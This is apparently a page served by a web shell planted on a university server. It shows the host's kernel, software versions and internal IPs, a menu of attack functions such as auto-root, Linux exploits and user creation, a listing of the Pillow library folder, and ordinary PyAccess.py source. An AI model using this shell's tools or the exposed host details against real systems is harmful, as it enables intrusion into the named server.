Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
PIL /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
BdfFontFile.py
2.75
KB
-rw-r--r--
_binary.py
2
KB
-rw-r--r--
BlpImagePlugin.py
14.23
KB
-rw-r--r--
BmpImagePlugin.py
13.91
KB
-rw-r--r--
BufrStubImagePlugin.py
1.48
KB
-rw-r--r--
ContainerIO.py
2.82
KB
-rw-r--r--
CurImagePlugin.py
1.64
KB
-rw-r--r--
DcxImagePlugin.py
2.09
KB
-rw-r--r--
DdsImagePlugin.py
7.8
KB
-rw-r--r--
EpsImagePlugin.py
11.64
KB
-rw-r--r--
ExifTags.py
9.22
KB
-rw-r--r--
features.py
9.17
KB
-rw-r--r--
FitsStubImagePlugin.py
2.5
KB
-rw-r--r--
FliImagePlugin.py
4.16
KB
-rw-r--r--
FontFile.py
2.7
KB
-rw-r--r--
FpxImagePlugin.py
6.5
KB
-rw-r--r--
FtexImagePlugin.py
3.23
KB
-rw-r--r--
GbrImagePlugin.py
2.73
KB
-rw-r--r--
GdImageFile.py
2.41
KB
-rw-r--r--
GifImagePlugin.py
32.05
KB
-rw-r--r--
GimpGradientFile.py
3.27
KB
-rw-r--r--
GimpPaletteFile.py
1.24
KB
-rw-r--r--
GribStubImagePlugin.py
1.48
KB
-rw-r--r--
Hdf5StubImagePlugin.py
1.48
KB
-rw-r--r--
IcnsImagePlugin.py
11.46
KB
-rw-r--r--
IcoImagePlugin.py
10.57
KB
-rw-r--r--
ImageChops.py
7.13
KB
-rw-r--r--
ImageCms.py
36.22
KB
-rw-r--r--
ImageColor.py
8.52
KB
-rw-r--r--
ImageDraw2.py
4.9
KB
-rw-r--r--
ImageDraw.py
33.9
KB
-rw-r--r--
ImageEnhance.py
3.12
KB
-rw-r--r--
ImageFile.py
20.58
KB
-rw-r--r--
ImageFilter.py
15.75
KB
-rw-r--r--
ImageFont.py
44.29
KB
-rw-r--r--
ImageGrab.py
3.54
KB
-rw-r--r--
ImageMath.py
7.44
KB
-rw-r--r--
ImageMode.py
2.03
KB
-rw-r--r--
ImageMorph.py
7.59
KB
-rw-r--r--
ImageOps.py
19.82
KB
-rw-r--r--
ImagePalette.py
7.66
KB
-rw-r--r--
ImagePath.py
336
B
-rw-r--r--
Image.py
118.51
KB
-rw-r--r--
ImageQt.py
6.54
KB
-rw-r--r--
ImageSequence.py
1.81
KB
-rw-r--r--
ImageShow.py
7.75
KB
-rw-r--r--
ImageStat.py
3.81
KB
-rw-r--r--
ImageTransform.py
2.78
KB
-rw-r--r--
ImageWin.py
7.02
KB
-rw-r--r--
_imagingcms.cpython-310-x86_64-linux-gnu.so
37.8
KB
-rw-r--r--
_imaging.cpython-310-x86_64-linux-gnu.so
438.53
KB
-rw-r--r--
_imagingft.cpython-310-x86_64-linux-gnu.so
41.46
KB
-rw-r--r--
_imagingmath.cpython-310-x86_64-linux-gnu.so
18.43
KB
-rw-r--r--
_imagingmorph.cpython-310-x86_64-linux-gnu.so
14.46
KB
-rw-r--r--
ImImagePlugin.py
10.48
KB
-rw-r--r--
ImtImagePlugin.py
2.15
KB
-rw-r--r--
__init__.py
1.7
KB
-rw-r--r--
IptcImagePlugin.py
5.58
KB
-rw-r--r--
Jpeg2KImagePlugin.py
10.14
KB
-rw-r--r--
JpegImagePlugin.py
27.79
KB
-rw-r--r--
JpegPresets.py
12.06
KB
-rw-r--r--
__main__.py
41
B
-rw-r--r--
McIdasImagePlugin.py
1.71
KB
-rw-r--r--
MicImagePlugin.py
2.55
KB
-rw-r--r--
MpegImagePlugin.py
1.76
KB
-rw-r--r--
MpoImagePlugin.py
4.3
KB
-rw-r--r--
MspImagePlugin.py
5.4
KB
-rw-r--r--
PaletteFile.py
1.08
KB
-rw-r--r--
PalmImagePlugin.py
8.89
KB
-rw-r--r--
PcdImagePlugin.py
1.44
KB
-rw-r--r--
PcfFontFile.py
6.2
KB
-rw-r--r--
PcxImagePlugin.py
5.73
KB
-rw-r--r--
PdfImagePlugin.py
7.16
KB
-rw-r--r--
PdfParser.py
33.75
KB
-rw-r--r--
PixarImagePlugin.py
1.59
KB
-rw-r--r--
PngImagePlugin.py
43.11
KB
-rw-r--r--
PpmImagePlugin.py
4.34
KB
-rw-r--r--
PsdImagePlugin.py
7.88
KB
-rw-r--r--
PSDraw.py
6.56
KB
-rw-r--r--
PyAccess.py
9.38
KB
-rw-r--r--
SgiImagePlugin.py
5.95
KB
-rw-r--r--
SpiderImagePlugin.py
9.31
KB
-rw-r--r--
SunImagePlugin.py
4.18
KB
-rw-r--r--
TarIO.py
1.41
KB
-rw-r--r--
TgaImagePlugin.py
6.32
KB
-rw-r--r--
TiffImagePlugin.py
71.17
KB
-rw-r--r--
TiffTags.py
14.93
KB
-rw-r--r--
_tkinter_finder.py
525
B
-rw-r--r--
_util.py
359
B
-rw-r--r--
_version.py
50
B
-rw-r--r--
WalImageFile.py
5.42
KB
-rw-r--r--
_webp.cpython-310-x86_64-linux-gnu.so
28.09
KB
-rw-r--r--
WebPImagePlugin.py
10.58
KB
-rw-r--r--
WmfImagePlugin.py
4.53
KB
-rw-r--r--
XbmImagePlugin.py
2.37
KB
-rw-r--r--
XpmImagePlugin.py
2.99
KB
-rw-r--r--
XVThumbImagePlugin.py
1.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PyAccess.py
# # The Python Imaging Library # Pillow fork # # Python implementation of the PixelAccess Object # # Copyright (c) 1997-2009 by Secret Labs AB. All rights reserved. # Copyright (c) 1995-2009 by Fredrik Lundh. # Copyright (c) 2013 Eric Soroos # # See the README file for information on usage and redistribution # # Notes: # # * Implements the pixel access object following Access. # * Does not implement the line functions, as they don't appear to be used # * Taking only the tuple form, which is used from python. # * Fill.c uses the integer form, but it's still going to use the old # Access.c implementation. # import logging import sys try: from cffi import FFI defs = """ struct Pixel_RGBA { unsigned char r,g,b,a; }; struct Pixel_I16 { unsigned char l,r; }; """ ffi = FFI() ffi.cdef(defs) except ImportError as ex: # Allow error import for doc purposes, but error out when accessing # anything in core. from ._util import deferred_error FFI = ffi = deferred_error(ex) logger = logging.getLogger(__name__) class PyAccess: def __init__(self, img, readonly=False): vals = dict(img.im.unsafe_ptrs) self.readonly = readonly self.image8 = ffi.cast("unsigned char **", vals["image8"]) self.image32 = ffi.cast("int **", vals["image32"]) self.image = ffi.cast("unsigned char **", vals["image"]) self.xsize, self.ysize = img.im.size self._img = img # Keep pointer to im object to prevent dereferencing. self._im = img.im if self._im.mode == "P": self._palette = img.palette # Debugging is polluting test traces, only useful here # when hacking on PyAccess # logger.debug("%s", vals) self._post_init() def _post_init(self): pass def __setitem__(self, xy, color): """ Modifies the pixel at x,y. The color is given as a single numerical value for single band images, and a tuple for multi-band images :param xy: The pixel coordinate, given as (x, y). See :ref:`coordinate-system`. :param color: The pixel value. """ if self.readonly: raise ValueError("Attempt to putpixel a read only image") (x, y) = xy if x < 0: x = self.xsize + x if y < 0: y = self.ysize + y (x, y) = self.check_xy((x, y)) if ( self._im.mode == "P" and isinstance(color, (list, tuple)) and len(color) in [3, 4] ): # RGB or RGBA value for a P image color = self._palette.getcolor(color, self._img) return self.set_pixel(x, y, color) def __getitem__(self, xy): """ Returns the pixel at x,y. The pixel is returned as a single value for single band images or a tuple for multiple band images :param xy: The pixel coordinate, given as (x, y). See :ref:`coordinate-system`. :returns: a pixel value for single band images, a tuple of pixel values for multiband images. """ (x, y) = xy if x < 0: x = self.xsize + x if y < 0: y = self.ysize + y (x, y) = self.check_xy((x, y)) return self.get_pixel(x, y) putpixel = __setitem__ getpixel = __getitem__ def check_xy(self, xy): (x, y) = xy if not (0 <= x < self.xsize and 0 <= y < self.ysize): raise ValueError("pixel location out of range") return xy class _PyAccess32_2(PyAccess): """PA, LA, stored in first and last bytes of a 32 bit word""" def _post_init(self, *args, **kwargs): self.pixels = ffi.cast("struct Pixel_RGBA **", self.image32) def get_pixel(self, x, y): pixel = self.pixels[y][x] return (pixel.r, pixel.a) def set_pixel(self, x, y, color): pixel = self.pixels[y][x] # tuple pixel.r = min(color[0], 255) pixel.a = min(color[1], 255) class _PyAccess32_3(PyAccess): """RGB and friends, stored in the first three bytes of a 32 bit word""" def _post_init(self, *args, **kwargs): self.pixels = ffi.cast("struct Pixel_RGBA **", self.image32) def get_pixel(self, x, y): pixel = self.pixels[y][x] return (pixel.r, pixel.g, pixel.b) def set_pixel(self, x, y, color): pixel = self.pixels[y][x] # tuple pixel.r = min(color[0], 255) pixel.g = min(color[1], 255) pixel.b = min(color[2], 255) pixel.a = 255 class _PyAccess32_4(PyAccess): """RGBA etc, all 4 bytes of a 32 bit word""" def _post_init(self, *args, **kwargs): self.pixels = ffi.cast("struct Pixel_RGBA **", self.image32) def get_pixel(self, x, y): pixel = self.pixels[y][x] return (pixel.r, pixel.g, pixel.b, pixel.a) def set_pixel(self, x, y, color): pixel = self.pixels[y][x] # tuple pixel.r = min(color[0], 255) pixel.g = min(color[1], 255) pixel.b = min(color[2], 255) pixel.a = min(color[3], 255) class _PyAccess8(PyAccess): """1, L, P, 8 bit images stored as uint8""" def _post_init(self, *args, **kwargs): self.pixels = self.image8 def get_pixel(self, x, y): return self.pixels[y][x] def set_pixel(self, x, y, color): try: # integer self.pixels[y][x] = min(color, 255) except TypeError: # tuple self.pixels[y][x] = min(color[0], 255) class _PyAccessI16_N(PyAccess): """I;16 access, native bitendian without conversion""" def _post_init(self, *args, **kwargs): self.pixels = ffi.cast("unsigned short **", self.image) def get_pixel(self, x, y): return self.pixels[y][x] def set_pixel(self, x, y, color): try: # integer self.pixels[y][x] = min(color, 65535) except TypeError: # tuple self.pixels[y][x] = min(color[0], 65535) class _PyAccessI16_L(PyAccess): """I;16L access, with conversion""" def _post_init(self, *args, **kwargs): self.pixels = ffi.cast("struct Pixel_I16 **", self.image) def get_pixel(self, x, y): pixel = self.pixels[y][x] return pixel.l + pixel.r * 256 def set_pixel(self, x, y, color): pixel = self.pixels[y][x] try: color = min(color, 65535) except TypeError: color = min(color[0], 65535) pixel.l = color & 0xFF # noqa: E741 pixel.r = color >> 8 class _PyAccessI16_B(PyAccess): """I;16B access, with conversion""" def _post_init(self, *args, **kwargs): self.pixels = ffi.cast("struct Pixel_I16 **", self.image) def get_pixel(self, x, y): pixel = self.pixels[y][x] return pixel.l * 256 + pixel.r def set_pixel(self, x, y, color): pixel = self.pixels[y][x] try: color = min(color, 65535) except Exception: color = min(color[0], 65535) pixel.l = color >> 8 # noqa: E741 pixel.r = color & 0xFF class _PyAccessI32_N(PyAccess): """Signed Int32 access, native endian""" def _post_init(self, *args, **kwargs): self.pixels = self.image32 def get_pixel(self, x, y): return self.pixels[y][x] def set_pixel(self, x, y, color): self.pixels[y][x] = color class _PyAccessI32_Swap(PyAccess): """I;32L/B access, with byteswapping conversion""" def _post_init(self, *args, **kwargs): self.pixels = self.image32 def reverse(self, i): orig = ffi.new("int *", i) chars = ffi.cast("unsigned char *", orig) chars[0], chars[1], chars[2], chars[3] = chars[3], chars[2], chars[1], chars[0] return ffi.cast("int *", chars)[0] def get_pixel(self, x, y): return self.reverse(self.pixels[y][x]) def set_pixel(self, x, y, color): self.pixels[y][x] = self.reverse(color) class _PyAccessF(PyAccess): """32 bit float access""" def _post_init(self, *args, **kwargs): self.pixels = ffi.cast("float **", self.image32) def get_pixel(self, x, y): return self.pixels[y][x] def set_pixel(self, x, y, color): try: # not a tuple self.pixels[y][x] = color except TypeError: # tuple self.pixels[y][x] = color[0] mode_map = { "1": _PyAccess8, "L": _PyAccess8, "P": _PyAccess8, "LA": _PyAccess32_2, "La": _PyAccess32_2, "PA": _PyAccess32_2, "RGB": _PyAccess32_3, "LAB": _PyAccess32_3, "HSV": _PyAccess32_3, "YCbCr": _PyAccess32_3, "RGBA": _PyAccess32_4, "RGBa": _PyAccess32_4, "RGBX": _PyAccess32_4, "CMYK": _PyAccess32_4, "F": _PyAccessF, "I": _PyAccessI32_N, } if sys.byteorder == "little": mode_map["I;16"] = _PyAccessI16_N mode_map["I;16L"] = _PyAccessI16_N mode_map["I;16B"] = _PyAccessI16_B mode_map["I;32L"] = _PyAccessI32_N mode_map["I;32B"] = _PyAccessI32_Swap else: mode_map["I;16"] = _PyAccessI16_L mode_map["I;16L"] = _PyAccessI16_L mode_map["I;16B"] = _PyAccessI16_N mode_map["I;32L"] = _PyAccessI32_Swap mode_map["I;32B"] = _PyAccessI32_N def new(img, readonly=False): access_type = mode_map.get(img.mode, None) if not access_type: logger.debug("PyAccess Not Implemented: %s", img.mode) return None return access_type(img, readonly)
Close